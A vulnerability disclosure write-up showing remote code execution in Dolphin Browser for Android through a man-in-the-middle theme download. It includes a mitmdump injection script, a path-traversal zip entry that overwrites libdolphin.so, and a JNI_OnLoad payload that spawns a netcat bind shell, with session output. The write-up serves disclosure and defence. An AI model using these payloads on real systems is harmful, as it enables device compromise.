Remote Code Execution in Dolphin Browser for Android


Update

The PoC is located here: https://www.youtube.com/watch?v=hhpP1rYn_B0

A patch was released on August 27, 2015, update now!

Overview

An attacker with the ability to control the network traffic for users of the Dolphin Browser for Android, can modify the functionality of downloading and applying new themes for the browser. Through the exploitation of this functionality, an attacker can achieve an arbitrary file write, which can then be turned into code execution within the context of the browser on the user's device. The only user interaction this requires is selecting, downloading, and applying a new Dolphin Browser theme.

The Dolphin Browser for Android boasts 50,000,000 - 100,000,000 downloads and was last updated on July 27, 2015 according to Google Play.

Exploitation

The Dolphin Browser for Android has a feature that allows users to download and apply themes for the overall look and feel of the browser. When a user selects a new theme, that theme is downloaded over HTTP:

GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp  

The theme is then saved in the following location:

[email protected]:/sdcard/Download # ls  
Red_roof.dwp  

The file extension ".dwp" is merely custom to the Dolphin browser, but is actually a simple zip file:

$ file Red_roof.dwp
Red_roof.dwp: Zip archive data, at least v2.0 to extract  

When inspecting the contents you can see data that is used specifically for applying the targeted theme:

unzip -l Red_roof.dwp.orig  
Archive:  Red_roof.dwp.orig  
  Length     Date   Time    Name
 --------    ----   ----    ----
    18165  12-18-14 09:57   icon.jpg
      237  12-19-14 14:35   theme.config
   131384  12-18-14 09:54   wallpaper.jpg
 --------                   -------
   149786                   3 files

After reverse engineering the target Activity that handles the downloading and application of the selected theme, functionality was found that would handle the unzipping of the theme file and applying the theme's configuration.

The first step in exploitation was being able to proxy the download traffic and injecting a modified theme. This required configuring a proxy for the testing device, and writing a simple inline script that could be used with mitmdump.

def request(context, flow):  
    if not flow.request.host == "opsen-static.dolphin-browser.com" \
            or not flow.request.path.endswith(".dwp"):
        return

    # Build response
    #
    response = http.HTTPResponse([1, 1],
                                 200,
                                 "OK",
                                 odict.ODictCaseless([["Content-Type", "application/zip"]]),
                                 "yo!")
    # Inject theme
    #
    try:
        with open("Red_roof.dwp", "r") as f:
            modified = f.read()
            response.content = modified
            response.headers["Content-Length"] = [len(modified)]
            f.close()
    except IOError as e:
        raise e

    # Return response
    #
    flow.reply(response)

Also needed was something to exploit the unzipping process of the browser theme. A lot of great work had already been done in this space, so I didn't have to look far.

I first validated that I was able to inject a modified theme file into the download response, and was successfully able to achieve an arbitrary write into the Dolphin Browser's data directory. Now I needed to find something I could overwrite in order to gain code execution.

Low and behold I found a library - libdolphin.so - living inside the files directory:

[email protected]:/data/data/mobi.mgeek.TunnyBrowser # cd files/  
[email protected]:/data/data/mobi.mgeek.TunnyBrowser/files # ls  
AppEventsLogger.persistedevents  
EN  
icons_cache  
libdolphin.so  
name_service  
splash.on  

This seemed to be the perfect opportunity to turn this arbitrary write into full blown code execution. So I crafted my zip payload accordingly:

unzip -l Red_roof.dwp  
Archive:  Red_roof.dwp  
  Length     Date   Time    Name
 --------    ----   ----    ----
    18165  12-18-14 09:57   icon.jpg
      237  12-19-14 14:35   theme.config
   131384  12-18-14 09:54   wallpaper.jpg
        7  08-21-15 20:26   ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so
 --------                   -------
   159142                   4 files

After successfully injecting the zip and scrolling through output from Logcat I found a gem:

D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e0c318  
E/dalvikvm( 2573): dlopen("/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so") failed: dlopen failed: "/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so" is too small to be an ELF executable  
....
...
.
[email protected]:/data/data/mobi.mgeek.TunnyBrowser/files # cat libdolphin.so  
foobar  

Now all that is required is to create a crafted library that can could be used to overwrite the original libdolphin.so:

int JNI_OnLoad( JavaVM* vm, void* reserved )  
{
    system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );

....
..
.
}

After compiling this with the NDK, the python script used to create the theme payload was modified in order to write in our library.

After completely removing the Dolphin Browser and then reinstalling it, the attack was performed once again. After validating the successful interception and injection of our theme payload:

10.174.90.159 GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp  
 << 200 OK 150.16kB

We then apply the theme, and restart the browser in order to make sure libdolphin.so gets loaded:

D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8  
D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8  

We should now be able to connect to our netcat listener:

└[~]> nc 10.174.90.159 6666
id  
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0  
ls  
acct  
cache  
charger  
config  
d  
data  
default.prop  
dev  
etc  
file_contexts  
firmware  
fstab.hammerhead  
init  
init.environ.rc  
init.hammerhead.rc  
init.hammerhead.usb.rc  
init.rc  
init.trace.rc  
init.usb.rc  
mnt  
persist  
proc  
property_contexts  
res  
root  
sbin  
sdcard  
seapp_contexts  
sepolicy  
storage  
sys  
system  
tmp-mksh  
ueventd.hammerhead.rc  
ueventd.rc  
vendor  

Mitigations

The Dolphin Browser team has already been contacted to be made aware of the vulnerability, but it is highly recommended that user's of this browser at the very minimum do not download and apply new themes to their browsers in a local network environment they do not control, and also consider removing the browser and using an alternative for the time being until the appropriate fixes are put into place.